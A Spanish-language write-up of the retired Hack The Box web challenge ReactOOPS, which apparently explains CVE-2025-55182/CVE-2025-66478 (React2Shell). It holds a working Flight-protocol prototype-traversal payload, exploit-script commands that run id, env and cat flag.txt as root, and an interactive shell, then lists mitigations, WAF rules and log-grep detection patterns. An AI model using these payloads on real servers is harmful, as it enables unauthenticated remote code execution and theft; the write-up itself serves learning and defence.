
Writeup de Hack The Box para el Challenge retirado ReactOOPS - Solución completa y guía educativa sobre CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Incluye análisis detallado de vulnerabilidades, técnicas de explotación y materiales de aprendizaje para el equipo.
Autor: TheStingR - Equipo ISP1337Hackers
Desafío: ReactOOPS (Web)
Plataforma: Hack The Box
Dificultad: Muy Fácil - RETIRADO
Fecha de resolución: 13 de diciembre de 2025
ReactOOPS es un desafío web que explota CVE-2025-55182 / CVE-2025-66478, una vulnerabilidad crítica de ejecución remota de código no autenticada en React Server Components y Next.js App Router.
Hallazgos Clave:
hasOwnProperty en la deserialización del protocolo FlightEl desafío presenta una aplicación Next.js pulida que ejecuta la interfaz de asistente de NexusAI. La aplicación parece manejar la entrada del usuario a través de React Server Components, pero fallos sutiles en la capa reactiva insinúan vulnerabilidades subyacentes.
La aplicación utiliza:
El protocolo Flight es el formato de serialización propietario de React para transmitir datos entre servidor y cliente en arquitecturas de Server Components. Utiliza referencias como:
$1 - Referencia al objeto en la posición 1$1:path:to:value - Recorrido de rutas de propiedadesCódigo Vulnerable en ReactFlightReplyServer.js de React:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
La Versión Segura (Lo Que Debería Ser):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Sin la comprobación hasOwnProperty, un atacante puede recorrer:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Paso 1: Enviar la referencia "$1:__proto__:then"
│
├─ Acceder a myChunk[__proto__]
└─ Luego acceder a [then] en el prototipo
Paso 2: Crear un objeto falso tipo Promise
│
└─ { then: maliciousFunction }
Paso 3: React ejecuta await sobre este objeto
│
├─ Invoca el método .then()
└─ Ejecuta la función del atacante
Paso 4: Ejecución de Código Arbitrario
│
└─ El código se ejecuta en el contexto del servidor como root
La vulnerabilidad existe antes de la validación de Next-Action:
Flujo de Procesamiento de la Petición:
├─ Parsear los datos del formulario multipart
├─ Deserializar el protocolo Flight ← EL RCE OCURRE AQUÍ
│ └─ Procesar referencias y objetos
│ └─ ¡Sin comprobación hasOwnProperty!
├─ Extraer la cabecera Next-Action
├─ Validar el ID de acción ← Esto viene DESPUÉS
└─ Ejecutar el manejador de acción
Al provocar el RCE durante la deserialización, los atacantes omiten todas las comprobaciones de seguridad a nivel de acción.
# Test if service is responding
curl -v http://<IP>:PORT/
Esperado: Aplicación Next.js sirviendo HTML con RSC habilitado
Busca indicadores:
next-<script type="text/x-component">.nextEl indicador más fiable es intentar un ataque de contaminación de prototipos y observar la respuesta:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
Objetivo: Confirmar que el servidor es vulnerable sin causar daños
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
Qué Hace:
Next-Action: x["$1:a:a"] referenciando el objeto vacío {}{}.a.aSalida Esperada:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Interpretación:
E{"digest" en la respuesta: ✅ Formato de manejo de errores de ReactObjetivo: Verificar la ejecución de comandos arbitrarios
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
Qué Hace:
Next-Action: xSalida Esperada:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Dato Clave: La salida muestra uid=0(root) - ¡el servidor web se está ejecutando como root! Esta es una mala configuración de seguridad que amplifica el impacto.
Objetivo: Mapear el sistema de archivos y localizar archivos sensibles
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
Estructura de Directorios Descubierta:
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
Hallazgo Crítico: El archivo de la flag existe en /app/flag.txt con permisos restrictivos (600)
Objetivo: Leer el archivo de la flag
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
Salida:
HTB{jus7_REDACTED_2025-55182}
✅ ¡Desafío Completado!
El exploit construye un payload del protocolo Flight. Así es como se ve un payload de comando:
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. Parsear los datos del formulario multipart
→ name="1" → objeto JSON con la propiedad "then"
→ name="0" → cadena "$@1"
2. Procesar referencias
→ "$@1" significa "referencia al chunk 1"
→ Buscar chunk[1].value
3. Resolver la ruta de la referencia
→ Referencia: "$1:__proto__:then"
→ Dividir por dos puntos: ["", "__proto__", "then"]
→ Comenzar con chunk[1]
→ Acceder a [__proto__] → recorrer hasta el prototipo
→ Acceder a [then] → acceder al método then
4. Construir una Promise falsa
→ Crear un objeto con el método .then()
→ El método contiene el payload del comando
5. Ejecutar Promise .then()
→ React lo trata como un objeto tipo Promise
→ Llama al manejador .then()
→ EL CÓDIGO SE EJECUTA COMO ROOT
Usamos exploit-redirect.sh porque:
Acciones Inmediatas (Antes de Aplicar Parches):
Deshabilitar RSC si no se necesita
// next.config.js
module.exports = {
experimental: {
rsc: false // Disable React Server Components
}
}
Restringir el uso de Next-Action
// middleware.ts
export function middleware(request) {
// Reject all POST requests with Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
Segmentación de Red
# Only allow trusted sources
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
Aplicar Parches Inmediatamente:
# Update Next.js
npm install next@latest
# Or specific patched version
npm install [email protected]
# Verify versions
npm ls next react-server-dom-webpack
Endurecimiento de Seguridad:
Ejecutar los servidores web como no-root
# DON'T do this:
RUN npm start # As root
# DO this:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
Validación de Entradas
// Validate all Flight protocol inputs
app.post('/api/*', (req, res) => {
// Check for suspicious patterns
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Invalid input');
}
});
Limitación de Tasa
// Limit POST requests per IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
Reglas WAF:
# Detect prototype pollution attempts
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then Alert + Block
Monitorización de Registros:
# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
Detección de Comportamiento:
// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implement policy enforcement
return original_spawn.apply(this, args);
};
Una Única Comprobación Ausente = Vulnerabilidad Crítica
hasOwnProperty fue importado pero no utilizadoLa Cadena de Prototipos es Peligrosa
obj[key]hasOwnProperty o Object.create(null) para entradas no confiablesDeserializar Antes de Validar es Riesgoso
Los Privilegios por Defecto de los Procesos Importan
La Detección No Destructiva es Valiosa
detect.sh demuestra la vulnerabilidad sin causar dañosReconocimiento Sistemático
Entender la Tecnología
# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
# Launch full interactive shell
./shell.sh http://<IP>:PORT
# Common commands:
id # Show user info
pwd # Current directory
ls -la # List files
cat /app/flag.txt # Read flag
cd /var/log # Change directory
download flag.txt # Download file
# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"
| Script | Mecanismo | Código HTTP | Detección |
|---|
| exploit-redirect.sh | Recorrido de prototipos + cadena de Promise | 303 | x-action-redirect |
| exploit-throw.sh | Error en try-catch | 500 | Error en el cuerpo |
| exploit-blind.sh | Canal lateral (escritura de archivos, DNS) | 200 | Fuera de banda |
| exploit-reflect.sh | Reflexión directa en la respuesta | 200 | Salida del comando en el cuerpo |
| shell.sh | Wrapper interactivo | Varía | Interfaz REPL |
| Hora | Acción | Resultado |
|---|
| T+0s | Prueba de conexión inicial | Servicio respondiendo |
| T+10s | Ejecutar detect.sh | VULNERABLE confirmado |
| T+30s | Ejecutar el comando id | Privilegios de root confirmados |
| T+1m | Listar el directorio /app | Ubicación de la flag encontrada |
| T+1m 30s | Leer el archivo de la flag | Flag extraída |
| T+2m | Verificación | Desafío completado |